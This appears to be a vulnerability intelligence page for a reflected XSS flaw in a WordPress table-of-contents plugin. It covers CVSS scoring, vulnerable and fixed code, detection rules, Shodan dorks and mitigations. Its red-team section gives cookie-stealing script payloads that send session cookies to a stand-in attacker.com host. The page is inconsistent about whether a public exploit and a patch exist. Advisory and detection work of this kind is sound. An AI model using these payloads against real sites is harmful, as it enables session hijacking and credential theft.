☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Markbeljaars logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68836

CVE-2025-68836 Cross-Site Scripting in Markbeljaars
📅 PUBLISHED: 2026-03-19 09:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68836 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Table of Contents Creator by Markbeljaars, affecting versions from n/a through 1.6.4.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is exploitable without authentication, requiring only user interaction (e.g., clicking a crafted link). No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch from the vendor (Markbeljaars) means that supply chain risk is elevated, as no official update exists to remediate the issue. Users should consider removing the plugin or implementing a Web Application Firewall (WAF) rule as a temporary mitigation.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – Victim must click a malicious link.
  • Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The low attack complexity and lack of authentication make this a prime target for phishing campaigns and drive-by attacks.

Deep Dive & Mechanics

The vulnerability exists in the Table of Contents Creator WordPress plugin, which generates a table of contents for posts and pages. The plugin fails to sanitize user-supplied input (likely via the $_GET or $_POST parameters) before reflecting it in the HTML output. An attacker can craft a URL containing malicious JavaScript, such as:

https://example.com/?page_id=1&toc_param=<script>alert('XSS')</script>

When a victim visits this URL, the plugin reflects the unsanitized input into the page, causing the browser to execute the injected script. The script runs in the context of the victim's session, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the user.

The vulnerability is classified as Reflected XSS (CWE-79) because the payload is not stored on the server but is immediately reflected in the HTTP response. The plugin's code likely uses functions like echo $_GET['param'] without proper escaping or validation.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions up to 1.6.4.1. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (example)
$param = $_GET['toc_param'];
echo "<div class='toc'>$param</div>";

A patched version would use WordPress's built-in escaping functions:

// Patched code (example)
$param = sanitize_text_field($_GET['toc_param']);
echo "<div class='toc'>" . esc_html($param) . "</div>";

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate reflected XSS exploitation.

Lab Setup:

  1. Install WordPress with the vulnerable plugin (version 1.6.4.1).
  2. Create a page with a shortcode or setting that reflects user input.

Exploitation Steps:

  1. Craft a malicious URL:
    http://target-wordpress-site/?page_id=1&toc_param=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  2. Send the link to a victim via email or social engineering.
  3. When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.

Payload Example:

<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>

Blue Team

Objective: Detect and block exploitation attempts.

Detection Steps:

  1. Monitor web server logs for requests containing <script> tags in query parameters.
  2. Use a WAF to block requests with suspicious patterns (e.g., script, onerror, alert).
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Temporarily disable the plugin until a patch is available.
  • Apply a virtual patch via WAF to block reflected XSS payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing toc_param= followed by <script> or onerror patterns.
    • Outbound connections to attacker-controlled domains from the victim's browser.
  • File IOCs:
    • Plugin file: /wp-content/plugins/table-of-contents-creator/ (all files).
  • Log IOCs:
    • Web server logs showing GET /?page_id=1&toc_param=<script>... with non-standard user agents.

Detection Engineering

YARA Rule

rule CVE_2025_68836_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Table of Contents Creator plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68836"
    strings:
        $xss_payload = /toc_param=.*<script[^>]*>.*<\/script>/i
        $xss_onerror = /toc_param=.*onerror\s*=/i
        $xss_alert = /toc_param=.*alert\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Table of Contents Creator
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the toc_param parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "toc_param="
        c-uri|re: "toc_param=.*<script[^>]*>.*<\/script>"
    condition: selection
falsepositives:
    - Legitimate use of script tags in content (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68836 Reflected XSS in Table of Contents Creator"; flow:to_server,established; content:"toc_param="; http_uri; pcre:"/toc_param=.*<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the Table of Contents Creator plugin until a patch is released.
  2. Virtual Patching: Deploy a WAF rule to block requests containing toc_param= with script tags.
  3. Code Fix: If you have access to the plugin source, apply input sanitization using esc_html() or sanitize_text_field().
  4. User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.
  5. Monitoring: Enable logging and alerting for XSS patterns in web server logs.

Long-term: Monitor the WordPress plugin repository for an official patch. Consider switching to an alternative table of contents plugin that is actively maintained.


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Table of Contents Creator"
http.html:"wp-content/plugins/table-of-contents-creator"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68836/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.